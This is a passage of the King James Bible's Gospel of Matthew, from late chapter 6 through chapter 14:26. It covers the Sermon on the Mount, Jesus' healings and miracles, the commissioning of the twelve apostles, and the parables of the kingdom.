forgive not men their trespasses, +neither will your Father forgive your trespasses. + +6:16 Moreover when ye fast, be not, as the hypocrites, of a sad +countenance: for they disfigure their faces, that they may appear unto +men to fast. Verily I say unto you, They have their reward. + +6:17 But thou, when thou fastest, anoint thine head, and wash thy +face; 6:18 That thou appear not unto men to fast, but unto thy Father +which is in secret: and thy Father, which seeth in secret, shall +reward thee openly. + +6:19 Lay not up for yourselves treasures upon earth, where moth and +rust doth corrupt, and where thieves break through and steal: 6:20 But +lay up for yourselves treasures in heaven, where neither moth nor rust +doth corrupt, and where thieves do not break through nor steal: 6:21 +For where your treasure is, there will your heart be also. + +6:22 The light of the body is the eye: if therefore thine eye be +single, thy whole body shall be full of light. + +6:23 But if thine eye be evil, thy whole body shall be full of +darkness. + +If therefore the light that is in thee be darkness, how great is that +darkness! 6:24 No man can serve two masters: for either he will hate +the one, and love the other; or else he will hold to the one, and +despise the other. Ye cannot serve God and mammon. + +6:25 Therefore I say unto you, Take no thought for your life, what ye +shall eat, or what ye shall drink; nor yet for your body, what ye +shall put on. Is not the life more than meat, and the body than +raiment? 6:26 Behold the fowls of the air: for they sow not, neither +do they reap, nor gather into barns; yet your heavenly Father feedeth +them. Are ye not much better than they? 6:27 Which of you by taking +thought can add one cubit unto his stature? 6:28 And why take ye +thought for raiment? Consider the lilies of the field, how they grow; +they toil not, neither do they spin: 6:29 And yet I say unto you, That +even Solomon in all his glory was not arrayed like one of these. + +6:30 Wherefore, if God so clothe the grass of the field, which to day +is, and to morrow is cast into the oven, shall he not much more clothe +you, O ye of little faith? 6:31 Therefore take no thought, saying, +What shall we eat? or, What shall we drink? or, Wherewithal shall we +be clothed? 6:32 (For after all these things do the Gentiles seek:) +for your heavenly Father knoweth that ye have need of all these +things. + +6:33 But seek ye first the kingdom of God, and his righteousness; and +all these things shall be added unto you. + +6:34 Take therefore no thought for the morrow: for the morrow shall +take thought for the things of itself. Sufficient unto the day is the +evil thereof. + +7:1 Judge not, that ye be not judged. + +7:2 For with what judgment ye judge, ye shall be judged: and with what +measure ye mete, it shall be measured to you again. + +7:3 And why beholdest thou the mote that is in thy brother's eye, but +considerest not the beam that is in thine own eye? 7:4 Or how wilt +thou say to thy brother, Let me pull out the mote out of thine eye; +and, behold, a beam is in thine own eye? 7:5 Thou hypocrite, first +cast out the beam out of thine own eye; and then shalt thou see +clearly to cast out the mote out of thy brother's eye. + +7:6 Give not that which is holy unto the dogs, neither cast ye your +pearls before swine, lest they trample them under their feet, and turn +again and rend you. + +7:7 Ask, and it shall be given you; seek, and ye shall find; knock, +and it shall be opened unto you: 7:8 For every one that asketh +receiveth; and he that seeketh findeth; and to him that knocketh it +shall be opened. + +7:9 Or what man is there of you, whom if his son ask bread, will he +give him a stone? 7:10 Or if he ask a fish, will he give him a +serpent? 7:11 If ye then, being evil, know how to give good gifts +unto your children, how much more shall your Father which is in heaven +give good things to them that ask him? 7:12 Therefore all things +whatsoever ye would that men should do to you, do ye even so to them: +for this is the law and the prophets. + +7:13 Enter ye in at the strait gate: for wide is the gate, and broad +is the way, that leadeth to destruction, and many there be which go in +thereat: 7:14 Because strait is the gate, and narrow is the way, which +leadeth unto life, and few there be that find it. + +7:15 Beware of false prophets, which come to you in sheep's clothing, +but inwardly they are ravening wolves. + +7:16 Ye shall know them by their fruits. Do men gather grapes of +thorns, or figs of thistles? 7:17 Even so every good tree bringeth +forth good fruit; but a corrupt tree bringeth forth evil fruit. + +7:18 A good tree cannot bring forth evil fruit, neither can a corrupt +tree bring forth good fruit. + +7:19 Every tree that bringeth not forth good fruit is hewn down, and +cast into the fire. + +7:20 Wherefore by their fruits ye shall know them. + +7:21 Not every one that saith unto me, Lord, Lord, shall enter into +the kingdom of heaven; but he that doeth the will of my Father which +is in heaven. + +7:22 Many will say to me in that day, Lord, Lord, have we not +prophesied in thy name? and in thy name have cast out devils? and in +thy name done many wonderful works? 7:23 And then will I profess unto +them, I never knew you: depart from me, ye that work iniquity. + +7:24 Therefore whosoever heareth these sayings of mine, and doeth +them, I will liken him unto a wise man, which built his house upon a +rock: 7:25 And the rain descended, and the floods came, and the winds +blew, and beat upon that house; and it fell not: for it was founded +upon a rock. + +7:26 And every one that heareth these sayings of mine, and doeth them +not, shall be likened unto a foolish man, which built his house upon +the sand: 7:27 And the rain descended, and the floods came, and the +winds blew, and beat upon that house; and it fell: and great was the +fall of it. + +7:28 And it came to pass, when Jesus had ended these sayings, the +people were astonished at his doctrine: 7:29 For he taught them as one +having authority, and not as the scribes. + +8:1 When he was come down from the mountain, great multitudes followed +him. + +8:2 And, behold, there came a leper and worshipped him, saying, Lord, +if thou wilt, thou canst make me clean. + +8:3 And Jesus put forth his hand, and touched him, saying, I will; be +thou clean. And immediately his leprosy was cleansed. + +8:4 And Jesus saith unto him, See thou tell no man; but go thy way, +shew thyself to the priest, and offer the gift that Moses commanded, +for a testimony unto them. + +8:5 And when Jesus was entered into Capernaum, there came unto him a +centurion, beseeching him, 8:6 And saying, Lord, my servant lieth at +home sick of the palsy, grievously tormented. + +8:7 And Jesus saith unto him, I will come and heal him. + +8:8 The centurion answered and said, Lord, I am not worthy that thou +shouldest come under my roof: but speak the word only, and my servant +shall be healed. + +8:9 For I am a man under authority, having soldiers under me: and I +say to this man, Go, and he goeth; and to another, Come, and he +cometh; and to my servant, Do this, and he doeth it. + +8:10 When Jesus heard it, he marvelled, and said to them that +followed, Verily I say unto you, I have not found so great faith, no, +not in Israel. + +8:11 And I say unto you, That many shall come from the east and west, +and shall sit down with Abraham, and Isaac, and Jacob, in the kingdom +of heaven. + +8:12 But the children of the kingdom shall be cast out into outer +darkness: there shall be weeping and gnashing of teeth. + +8:13 And Jesus said unto the centurion, Go thy way; and as thou hast +believed, so be it done unto thee. And his servant was healed in the +selfsame hour. + +8:14 And when Jesus was come into Peter's house, he saw his wife's +mother laid, and sick of a fever. + +8:15 And he touched her hand, and the fever left her: and she arose, +and ministered unto them. + +8:16 When the even was come, they brought unto him many that were +possessed with devils: and he cast out the spirits with his word, and +healed all that were sick: 8:17 That it might be fulfilled which was +spoken by Esaias the prophet, saying, Himself took our infirmities, +and bare our sicknesses. + +8:18 Now when Jesus saw great multitudes about him, he gave +commandment to depart unto the other side. + +8:19 And a certain scribe came, and said unto him, Master, I will +follow thee whithersoever thou goest. + +8:20 And Jesus saith unto him, The foxes have holes, and the birds of +the air have nests; but the Son of man hath not where to lay his head. + +8:21 And another of his disciples said unto him, Lord, suffer me first +to go and bury my father. + +8:22 But Jesus said unto him, Follow me; and let the dead bury their +dead. + +8:23 And when he was entered into a ship, his disciples followed him. + +8:24 And, behold, there arose a great tempest in the sea, insomuch +that the ship was covered with the waves: but he was asleep. + +8:25 And his disciples came to him, and awoke him, saying, Lord, save +us: we perish. + +8:26 And he saith unto them, Why are ye fearful, O ye of little faith? +Then he arose, and rebuked the winds and the sea; and there was a +great calm. + +8:27 But the men marvelled, saying, What manner of man is this, that +even the winds and the sea obey him! 8:28 And when he was come to the +other side into the country of the Gergesenes, there met him two +possessed with devils, coming out of the tombs, exceeding fierce, so +that no man might pass by that way. + +8:29 And, behold, they cried out, saying, What have we to do with +thee, Jesus, thou Son of God? art thou come hither to torment us +before the time? 8:30 And there was a good way off from them an herd +of many swine feeding. + +8:31 So the devils besought him, saying, If thou cast us out, suffer +us to go away into the herd of swine. + +8:32 And he said unto them, Go. And when they were come out, they went +into the herd of swine: and, behold, the whole herd of swine ran +violently down a steep place into the sea, and perished in the waters. + +8:33 And they that kept them fled, and went their ways into the city, +and told every thing, and what was befallen to the possessed of the +devils. + +8:34 And, behold, the whole city came out to meet Jesus: and when they +saw him, they besought him that he would depart out of their coasts. + +9:1 And he entered into a ship, and passed over, and came into his own +city. + +9:2 And, behold, they brought to him a man sick of the palsy, lying on +a bed: and Jesus seeing their faith said unto the sick of the palsy; +Son, be of good cheer; thy sins be forgiven thee. + +9:3 And, behold, certain of the scribes said within themselves, This +man blasphemeth. + +9:4 And Jesus knowing their thoughts said, Wherefore think ye evil in +your hearts? 9:5 For whether is easier, to say, Thy sins be forgiven +thee; or to say, Arise, and walk? 9:6 But that ye may know that the +Son of man hath power on earth to forgive sins, (then saith he to the +sick of the palsy,) Arise, take up thy bed, and go unto thine house. + +9:7 And he arose, and departed to his house. + +9:8 But when the multitudes saw it, they marvelled, and glorified God, +which had given such power unto men. + +9:9 And as Jesus passed forth from thence, he saw a man, named +Matthew, sitting at the receipt of custom: and he saith unto him, +Follow me. And he arose, and followed him. + +9:10 And it came to pass, as Jesus sat at meat in the house, behold, +many publicans and sinners came and sat down with him and his +disciples. + +9:11 And when the Pharisees saw it, they said unto his disciples, Why +eateth your Master with publicans and sinners? 9:12 But when Jesus +heard that, he said unto them, They that be whole need not a +physician, but they that are sick. + +9:13 But go ye and learn what that meaneth, I will have mercy, and not +sacrifice: for I am not come to call the righteous, but sinners to +repentance. + +9:14 Then came to him the disciples of John, saying, Why do we and the +Pharisees fast oft, but thy disciples fast not? 9:15 And Jesus said +unto them, Can the children of the bridechamber mourn, as long as the +bridegroom is with them? but the days will come, when the bridegroom +shall be taken from them, and then shall they fast. + +9:16 No man putteth a piece of new cloth unto an old garment, for that +which is put in to fill it up taketh from the garment, and the rent is +made worse. + +9:17 Neither do men put new wine into old bottles: else the bottles +break, and the wine runneth out, and the bottles perish: but they put +new wine into new bottles, and both are preserved. + +9:18 While he spake these things unto them, behold, there came a +certain ruler, and worshipped him, saying, My daughter is even now +dead: but come and lay thy hand upon her, and she shall live. + +9:19 And Jesus arose, and followed him, and so did his disciples. + +9:20 And, behold, a woman, which was diseased with an issue of blood +twelve years, came behind him, and touched the hem of his garment: +9:21 For she said within herself, If I may but touch his garment, I +shall be whole. + +9:22 But Jesus turned him about, and when he saw her, he said, +Daughter, be of good comfort; thy faith hath made thee whole. And the +woman was made whole from that hour. + +9:23 And when Jesus came into the ruler's house, and saw the minstrels +and the people making a noise, 9:24 He said unto them, Give place: for +the maid is not dead, but sleepeth. And they laughed him to scorn. + +9:25 But when the people were put forth, he went in, and took her by +the hand, and the maid arose. + +9:26 And the fame hereof went abroad into all that land. + +9:27 And when Jesus departed thence, two blind men followed him, +crying, and saying, Thou son of David, have mercy on us. + +9:28 And when he was come into the house, the blind men came to him: +and Jesus saith unto them, Believe ye that I am able to do this? They +said unto him, Yea, Lord. + +9:29 Then touched he their eyes, saying, According to your faith be it +unto you. + +9:30 And their eyes were opened; and Jesus straitly charged them, +saying, See that no man know it. + +9:31 But they, when they were departed, spread abroad his fame in all +that country. + +9:32 As they went out, behold, they brought to him a dumb man +possessed with a devil. + +9:33 And when the devil was cast out, the dumb spake: and the +multitudes marvelled, saying, It was never so seen in Israel. + +9:34 But the Pharisees said, He casteth out devils through the prince +of the devils. + +9:35 And Jesus went about all the cities and villages, teaching in +their synagogues, and preaching the gospel of the kingdom, and healing +every sickness and every disease among the people. + +9:36 But when he saw the multitudes, he was moved with compassion on +them, because they fainted, and were scattered abroad, as sheep having +no shepherd. + +9:37 Then saith he unto his disciples, The harvest truly is plenteous, +but the labourers are few; 9:38 Pray ye therefore the Lord of the +harvest, that he will send forth labourers into his harvest. + +10:1 And when he had called unto him his twelve disciples, he gave +them power against unclean spirits, to cast them out, and to heal all +manner of sickness and all manner of disease. + +10:2 Now the names of the twelve apostles are these; The first, Simon, +who is called Peter, and Andrew his brother; James the son of Zebedee, +and John his brother; 10:3 Philip, and Bartholomew; Thomas, and +Matthew the publican; James the son of Alphaeus, and Lebbaeus, whose +surname was Thaddaeus; 10:4 Simon the Canaanite, and Judas Iscariot, +who also betrayed him. + +10:5 These twelve Jesus sent forth, and commanded them, saying, Go not +into the way of the Gentiles, and into any city of the Samaritans +enter ye not: 10:6 But go rather to the lost sheep of the house of +Israel. + +10:7 And as ye go, preach, saying, The kingdom of heaven is at hand. + +10:8 Heal the sick, cleanse the lepers, raise the dead, cast out +devils: freely ye have received, freely give. + +10:9 Provide neither gold, nor silver, nor brass in your purses, 10:10 +Nor scrip for your journey, neither two coats, neither shoes, nor yet +staves: for the workman is worthy of his meat. + +10:11 And into whatsoever city or town ye shall enter, enquire who in +it is worthy; and there abide till ye go thence. + +10:12 And when ye come into an house, salute it. + +10:13 And if the house be worthy, let your peace come upon it: but if +it be not worthy, let your peace return to you. + +10:14 And whosoever shall not receive you, nor hear your words, when +ye depart out of that house or city, shake off the dust of your feet. + +10:15 Verily I say unto you, It shall be more tolerable for the land +of Sodom and Gomorrha in the day of judgment, than for that city. + +10:16 Behold, I send you forth as sheep in the midst of wolves: be ye +therefore wise as serpents, and harmless as doves. + +10:17 But beware of men: for they will deliver you up to the councils, +and they will scourge you in their synagogues; 10:18 And ye shall be +brought before governors and kings for my sake, for a testimony +against them and the Gentiles. + +10:19 But when they deliver you up, take no thought how or what ye +shall speak: for it shall be given you in that same hour what ye shall +speak. + +10:20 For it is not ye that speak, but the Spirit of your Father which +speaketh in you. + +10:21 And the brother shall deliver up the brother to death, and the +father the child: and the children shall rise up against their +parents, and cause them to be put to death. + +10:22 And ye shall be hated of all men for my name's sake: but he that +endureth to the end shall be saved. + +10:23 But when they persecute you in this city, flee ye into another: +for verily I say unto you, Ye shall not have gone over the cities of +Israel, till the Son of man be come. + +10:24 The disciple is not above his master, nor the servant above his +lord. + +10:25 It is enough for the disciple that he be as his master, and the +servant as his lord. If they have called the master of the house +Beelzebub, how much more shall they call them of his household? 10:26 +Fear them not therefore: for there is nothing covered, that shall not +be revealed; and hid, that shall not be known. + +10:27 What I tell you in darkness, that speak ye in light: and what ye +hear in the ear, that preach ye upon the housetops. + +10:28 And fear not them which kill the body, but are not able to kill +the soul: but rather fear him which is able to destroy both soul and +body in hell. + +10:29 Are not two sparrows sold for a farthing? and one of them shall +not fall on the ground without your Father. + +10:30 But the very hairs of your head are all numbered. + +10:31 Fear ye not therefore, ye are of more value than many sparrows. + +10:32 Whosoever therefore shall confess me before men, him will I +confess also before my Father which is in heaven. + +10:33 But whosoever shall deny me before men, him will I also deny +before my Father which is in heaven. + +10:34 Think not that I am come to send peace on earth: I came not to +send peace, but a sword. + +10:35 For I am come to set a man at variance against his father, and +the daughter against her mother, and the daughter in law against her +mother in law. + +10:36 And a man's foes shall be they of his own household. + +10:37 He that loveth father or mother more than me is not worthy of +me: and he that loveth son or daughter more than me is not worthy of +me. + +10:38 And he that taketh not his cross, and followeth after me, is not +worthy of me. + +10:39 He that findeth his life shall lose it: and he that loseth his +life for my sake shall find it. + +10:40 He that receiveth you receiveth me, and he that receiveth me +receiveth him that sent me. + +10:41 He that receiveth a prophet in the name of a prophet shall +receive a prophet's reward; and he that receiveth a righteous man in +the name of a righteous man shall receive a righteous man's reward. + +10:42 And whosoever shall give to drink unto one of these little ones +a cup of cold water only in the name of a disciple, verily I say unto +you, he shall in no wise lose his reward. + +11:1 And it came to pass, when Jesus had made an end of commanding his +twelve disciples, he departed thence to teach and to preach in their +cities. + +11:2 Now when John had heard in the prison the works of Christ, he +sent two of his disciples, 11:3 And said unto him, Art thou he that +should come, or do we look for another? 11:4 Jesus answered and said +unto them, Go and shew John again those things which ye do hear and +see: 11:5 The blind receive their sight, and the lame walk, the lepers +are cleansed, and the deaf hear, the dead are raised up, and the poor +have the gospel preached to them. + +11:6 And blessed is he, whosoever shall not be offended in me. + +11:7 And as they departed, Jesus began to say unto the multitudes +concerning John, What went ye out into the wilderness to see? A reed +shaken with the wind? 11:8 But what went ye out for to see? A man +clothed in soft raiment? behold, they that wear soft clothing are in +kings' houses. + +11:9 But what went ye out for to see? A prophet? yea, I say unto you, +and more than a prophet. + +11:10 For this is he, of whom it is written, Behold, I send my +messenger before thy face, which shall prepare thy way before thee. + +11:11 Verily I say unto you, Among them that are born of women there +hath not risen a greater than John the Baptist: notwithstanding he +that is least in the kingdom of heaven is greater than he. + +11:12 And from the days of John the Baptist until now the kingdom of +heaven suffereth violence, and the violent take it by force. + +11:13 For all the prophets and the law prophesied until John. + +11:14 And if ye will receive it, this is Elias, which was for to come. + +11:15 He that hath ears to hear, let him hear. + +11:16 But whereunto shall I liken this generation? It is like unto +children sitting in the markets, and calling unto their fellows, 11:17 +And saying, We have piped unto you, and ye have not danced; we have +mourned unto you, and ye have not lamented. + +11:18 For John came neither eating nor drinking, and they say, He hath +a devil. + +11:19 The Son of man came eating and drinking, and they say, Behold a +man gluttonous, and a winebibber, a friend of publicans and sinners. +But wisdom is justified of her children. + +11:20 Then began he to upbraid the cities wherein most of his mighty +works were done, because they repented not: 11:21 Woe unto thee, +Chorazin! woe unto thee, Bethsaida! for if the mighty works, which +were done in you, had been done in Tyre and Sidon, they would have +repented long ago in sackcloth and ashes. + +11:22 But I say unto you, It shall be more tolerable for Tyre and +Sidon at the day of judgment, than for you. + +11:23 And thou, Capernaum, which art exalted unto heaven, shalt be +brought down to hell: for if the mighty works, which have been done in +thee, had been done in Sodom, it would have remained until this day. + +11:24 But I say unto you, That it shall be more tolerable for the land +of Sodom in the day of judgment, than for thee. + +11:25 At that time Jesus answered and said, I thank thee, O Father, +Lord of heaven and earth, because thou hast hid these things from the +wise and prudent, and hast revealed them unto babes. + +11:26 Even so, Father: for so it seemed good in thy sight. + +11:27 All things are delivered unto me of my Father: and no man +knoweth the Son, but the Father; neither knoweth any man the Father, +save the Son, and he to whomsoever the Son will reveal him. + +11:28 Come unto me, all ye that labour and are heavy laden, and I will +give you rest. + +11:29 Take my yoke upon you, and learn of me; for I am meek and lowly +in heart: and ye shall find rest unto your souls. + +11:30 For my yoke is easy, and my burden is light. + +12:1 At that time Jesus went on the sabbath day through the corn; and +his disciples were an hungred, and began to pluck the ears of corn and +to eat. + +12:2 But when the Pharisees saw it, they said unto him, Behold, thy +disciples do that which is not lawful to do upon the sabbath day. + +12:3 But he said unto them, Have ye not read what David did, when he +was an hungred, and they that were with him; 12:4 How he entered into +the house of God, and did eat the shewbread, which was not lawful for +him to eat, neither for them which were with him, but only for the +priests? 12:5 Or have ye not read in the law, how that on the sabbath +days the priests in the temple profane the sabbath, and are blameless? +12:6 But I say unto you, That in this place is one greater than the +temple. + +12:7 But if ye had known what this meaneth, I will have mercy, and not +sacrifice, ye would not have condemned the guiltless. + +12:8 For the Son of man is Lord even of the sabbath day. + +12:9 And when he was departed thence, he went into their synagogue: +12:10 And, behold, there was a man which had his hand withered. And +they asked him, saying, Is it lawful to heal on the sabbath days? that +they might accuse him. + +12:11 And he said unto them, What man shall there be among you, that +shall have one sheep, and if it fall into a pit on the sabbath day, +will he not lay hold on it, and lift it out? 12:12 How much then is a +man better than a sheep? Wherefore it is lawful to do well on the +sabbath days. + +12:13 Then saith he to the man, Stretch forth thine hand. And he +stretched it forth; and it was restored whole, like as the other. + +12:14 Then the Pharisees went out, and held a council against him, how +they might destroy him. + +12:15 But when Jesus knew it, he withdrew himself from thence: and +great multitudes followed him, and he healed them all; 12:16 And +charged them that they should not make him known: 12:17 That it might +be fulfilled which was spoken by Esaias the prophet, saying, 12:18 +Behold my servant, whom I have chosen; my beloved, in whom my soul is +well pleased: I will put my spirit upon him, and he shall shew +judgment to the Gentiles. + +12:19 He shall not strive, nor cry; neither shall any man hear his +voice in the streets. + +12:20 A bruised reed shall he not break, and smoking flax shall he not +quench, till he send forth judgment unto victory. + +12:21 And in his name shall the Gentiles trust. + +12:22 Then was brought unto him one possessed with a devil, blind, and +dumb: and he healed him, insomuch that the blind and dumb both spake +and saw. + +12:23 And all the people were amazed, and said, Is not this the son of +David? 12:24 But when the Pharisees heard it, they said, This fellow +doth not cast out devils, but by Beelzebub the prince of the devils. + +12:25 And Jesus knew their thoughts, and said unto them, Every kingdom +divided against itself is brought to desolation; and every city or +house divided against itself shall not stand: 12:26 And if Satan cast +out Satan, he is divided against himself; how shall then his kingdom +stand? 12:27 And if I by Beelzebub cast out devils, by whom do your +children cast them out? therefore they shall be your judges. + +12:28 But if I cast out devils by the Spirit of God, then the kingdom +of God is come unto you. + +12:29 Or else how can one enter into a strong man's house, and spoil +his goods, except he first bind the strong man? and then he will spoil +his house. + +12:30 He that is not with me is against me; and he that gathereth not +with me scattereth abroad. + +12:31 Wherefore I say unto you, All manner of sin and blasphemy shall +be forgiven unto men: but the blasphemy against the Holy Ghost shall +not be forgiven unto men. + +12:32 And whosoever speaketh a word against the Son of man, it shall +be forgiven him: but whosoever speaketh against the Holy Ghost, it +shall not be forgiven him, neither in this world, neither in the world +to come. + +12:33 Either make the tree good, and his fruit good; or else make the +tree corrupt, and his fruit corrupt: for the tree is known by his +fruit. + +12:34 O generation of vipers, how can ye, being evil, speak good +things? for out of the abundance of the heart the mouth speaketh. + +12:35 A good man out of the good treasure of the heart bringeth forth +good things: and an evil man out of the evil treasure bringeth forth +evil things. + +12:36 But I say unto you, That every idle word that men shall speak, +they shall give account thereof in the day of judgment. + +12:37 For by thy words thou shalt be justified, and by thy words thou +shalt be condemned. + +12:38 Then certain of the scribes and of the Pharisees answered, +saying, Master, we would see a sign from thee. + +12:39 But he answered and said unto them, An evil and adulterous +generation seeketh after a sign; and there shall no sign be given to +it, but the sign of the prophet Jonas: 12:40 For as Jonas was three +days and three nights in the whale's belly; so shall the Son of man be +three days and three nights in the heart of the earth. + +12:41 The men of Nineveh shall rise in judgment with this generation, +and shall condemn it: because they repented at the preaching of Jonas; +and, behold, a greater than Jonas is here. + +12:42 The queen of the south shall rise up in the judgment with this +generation, and shall condemn it: for she came from the uttermost +parts of the earth to hear the wisdom of Solomon; and, behold, a +greater than Solomon is here. + +12:43 When the unclean spirit is gone out of a man, he walketh through +dry places, seeking rest, and findeth none. + +12:44 Then he saith, I will return into my house from whence I came +out; and when he is come, he findeth it empty, swept, and garnished. + +12:45 Then goeth he, and taketh with himself seven other spirits more +wicked than himself, and they enter in and dwell there: and the last +state of that man is worse than the first. Even so shall it be also +unto this wicked generation. + +12:46 While he yet talked to the people, behold, his mother and his +brethren stood without, desiring to speak with him. + +12:47 Then one said unto him, Behold, thy mother and thy brethren +stand without, desiring to speak with thee. + +12:48 But he answered and said unto him that told him, Who is my +mother? and who are my brethren? 12:49 And he stretched forth his +hand toward his disciples, and said, Behold my mother and my brethren! +12:50 For whosoever shall do the will of my Father which is in heaven, +the same is my brother, and sister, and mother. + +13:1 The same day went Jesus out of the house, and sat by the sea +side. + +13:2 And great multitudes were gathered together unto him, so that he +went into a ship, and sat; and the whole multitude stood on the shore. + +13:3 And he spake many things unto them in parables, saying, Behold, a +sower went forth to sow; 13:4 And when he sowed, some seeds fell by +the way side, and the fowls came and devoured them up: 13:5 Some fell +upon stony places, where they had not much earth: and forthwith they +sprung up, because they had no deepness of earth: 13:6 And when the +sun was up, they were scorched; and because they had no root, they +withered away. + +13:7 And some fell among thorns; and the thorns sprung up, and choked +them: 13:8 But other fell into good ground, and brought forth fruit, +some an hundredfold, some sixtyfold, some thirtyfold. + +13:9 Who hath ears to hear, let him hear. + +13:10 And the disciples came, and said unto him, Why speakest thou +unto them in parables? 13:11 He answered and said unto them, Because +it is given unto you to know the mysteries of the kingdom of heaven, +but to them it is not given. + +13:12 For whosoever hath, to him shall be given, and he shall have +more abundance: but whosoever hath not, from him shall be taken away +even that he hath. + +13:13 Therefore speak I to them in parables: because they seeing see +not; and hearing they hear not, neither do they understand. + +13:14 And in them is fulfilled the prophecy of Esaias, which saith, By +hearing ye shall hear, and shall not understand; and seeing ye shall +see, and shall not perceive: 13:15 For this people's heart is waxed +gross, and their ears are dull of hearing, and their eyes they have +closed; lest at any time they should see with their eyes and hear with +their ears, and should understand with their heart, and should be +converted, and I should heal them. + +13:16 But blessed are your eyes, for they see: and your ears, for they +hear. + +13:17 For verily I say unto you, That many prophets and righteous men +have desired to see those things which ye see, and have not seen them; +and to hear those things which ye hear, and have not heard them. + +13:18 Hear ye therefore the parable of the sower. + +13:19 When any one heareth the word of the kingdom, and understandeth +it not, then cometh the wicked one, and catcheth away that which was +sown in his heart. This is he which received seed by the way side. + +13:20 But he that received the seed into stony places, the same is he +that heareth the word, and anon with joy receiveth it; 13:21 Yet hath +he not root in himself, but dureth for a while: for when tribulation +or persecution ariseth because of the word, by and by he is offended. + +13:22 He also that received seed among the thorns is he that heareth +the word; and the care of this world, and the deceitfulness of riches, +choke the word, and he becometh unfruitful. + +13:23 But he that received seed into the good ground is he that +heareth the word, and understandeth it; which also beareth fruit, and +bringeth forth, some an hundredfold, some sixty, some thirty. + +13:24 Another parable put he forth unto them, saying, The kingdom of +heaven is likened unto a man which sowed good seed in his field: 13:25 +But while men slept, his enemy came and sowed tares among the wheat, +and went his way. + +13:26 But when the blade was sprung up, and brought forth fruit, then +appeared the tares also. + +13:27 So the servants of the householder came and said unto him, Sir, +didst not thou sow good seed in thy field? from whence then hath it +tares? 13:28 He said unto them, An enemy hath done this. The servants +said unto him, Wilt thou then that we go and gather them up? 13:29 +But he said, Nay; lest while ye gather up the tares, ye root up also +the wheat with them. + +13:30 Let both grow together until the harvest: and in the time of +harvest I will say to the reapers, Gather ye together first the tares, +and bind them in bundles to burn them: but gather the wheat into my +barn. + +13:31 Another parable put he forth unto them, saying, The kingdom of +heaven is like to a grain of mustard seed, which a man took, and sowed +in his field: 13:32 Which indeed is the least of all seeds: but when +it is grown, it is the greatest among herbs, and becometh a tree, so +that the birds of the air come and lodge in the branches thereof. + +13:33 Another parable spake he unto them; The kingdom of heaven is +like unto leaven, which a woman took, and hid in three measures of +meal, till the whole was leavened. + +13:34 All these things spake Jesus unto the multitude in parables; and +without a parable spake he not unto them: 13:35 That it might be +fulfilled which was spoken by the prophet, saying, I will open my +mouth in parables; I will utter things which have been kept secret +from the foundation of the world. + +13:36 Then Jesus sent the multitude away, and went into the house: and +his disciples came unto him, saying, Declare unto us the parable of +the tares of the field. + +13:37 He answered and said unto them, He that soweth the good seed is +the Son of man; 13:38 The field is the world; the good seed are the +children of the kingdom; but the tares are the children of the wicked +one; 13:39 The enemy that sowed them is the devil; the harvest is the +end of the world; and the reapers are the angels. + +13:40 As therefore the tares are gathered and burned in the fire; so +shall it be in the end of this world. + +13:41 The Son of man shall send forth his angels, and they shall +gather out of his kingdom all things that offend, and them which do +iniquity; 13:42 And shall cast them into a furnace of fire: there +shall be wailing and gnashing of teeth. + +13:43 Then shall the righteous shine forth as the sun in the kingdom +of their Father. Who hath ears to hear, let him hear. + +13:44 Again, the kingdom of heaven is like unto treasure hid in a +field; the which when a man hath found, he hideth, and for joy thereof +goeth and selleth all that he hath, and buyeth that field. + +13:45 Again, the kingdom of heaven is like unto a merchant man, +seeking goodly pearls: 13:46 Who, when he had found one pearl of great +price, went and sold all that he had, and bought it. + +13:47 Again, the kingdom of heaven is like unto a net, that was cast +into the sea, and gathered of every kind: 13:48 Which, when it was +full, they drew to shore, and sat down, and gathered the good into +vessels, but cast the bad away. + +13:49 So shall it be at the end of the world: the angels shall come +forth, and sever the wicked from among the just, 13:50 And shall cast +them into the furnace of fire: there shall be wailing and gnashing of +teeth. + +13:51 Jesus saith unto them, Have ye understood all these things? They +say unto him, Yea, Lord. + +13:52 Then said he unto them, Therefore every scribe which is +instructed unto the kingdom of heaven is like unto a man that is an +householder, which bringeth forth out of his treasure things new and +old. + +13:53 And it came to pass, that when Jesus had finished these +parables, he departed thence. + +13:54 And when he was come into his own country, he taught them in +their synagogue, insomuch that they were astonished, and said, Whence +hath this man this wisdom, and these mighty works? 13:55 Is not this +the carpenter's son? is not his mother called Mary? and his brethren, +James, and Joses, and Simon, and Judas? 13:56 And his sisters, are +they not all with us? Whence then hath this man all these things? +13:57 And they were offended in him. But Jesus said unto them, A +prophet is not without honour, save in his own country, and in his own +house. + +13:58 And he did not many mighty works there because of their +unbelief. + +14:1 At that time Herod the tetrarch heard of the fame of Jesus, 14:2 +And said unto his servants, This is John the Baptist; he is risen from +the dead; and therefore mighty works do shew forth themselves in him. + +14:3 For Herod had laid hold on John, and bound him, and put him in +prison for Herodias' sake, his brother Philip's wife. + +14:4 For John said unto him, It is not lawful for thee to have her. + +14:5 And when he would have put him to death, he feared the multitude, +because they counted him as a prophet. + +14:6 But when Herod's birthday was kept, the daughter of Herodias +danced before them, and pleased Herod. + +14:7 Whereupon he promised with an oath to give her whatsoever she +would ask. + +14:8 And she, being before instructed of her mother, said, Give me +here John Baptist's head in a charger. + +14:9 And the king was sorry: nevertheless for the oath's sake, and +them which sat with him at meat, he commanded it to be given her. + +14:10 And he sent, and beheaded John in the prison. + +14:11 And his head was brought in a charger, and given to the damsel: +and she brought it to her mother. + +14:12 And his disciples came, and took up the body, and buried it, and +went and told Jesus. + +14:13 When Jesus heard of it, he departed thence by ship into a desert +place apart: and when the people had heard thereof, they followed him +on foot out of the cities. + +14:14 And Jesus went forth, and saw a great multitude, and was moved +with compassion toward them, and he healed their sick. + +14:15 And when it was evening, his disciples came to him, saying, This +is a desert place, and the time is now past; send the multitude away, +that they may go into the villages, and buy themselves victuals. + +14:16 But Jesus said unto them, They need not depart; give ye them to +eat. + +14:17 And they say unto him, We have here but five loaves, and two +fishes. + +14:18 He said, Bring them hither to me. + +14:19 And he commanded the multitude to sit down on the grass, and +took the five loaves, and the two fishes, and looking up to heaven, he +blessed, and brake, and gave the loaves to his disciples, and the +disciples to the multitude. + +14:20 And they did all eat, and were filled: and they took up of the +fragments that remained twelve baskets full. + +14:21 And they that had eaten were about five thousand men, beside +women and children. + +14:22 And straightway Jesus constrained his disciples to get into a +ship, and to go before him unto the other side, while he sent the +multitudes away. + +14:23 And when he had sent the multitudes away, he went up into a +mountain apart to pray: and when the evening was come, he was there +alone. + +14:24 But the ship was now in the midst of the sea, tossed with waves: +for the wind was contrary. + +14:25 And in the fourth watch of the night Jesus went unto them, +walking on the sea. + +14:26 And when the disciples saw him walking on the sea, they were +troubled, saying, It is a spirit; and they cried out for fear. + 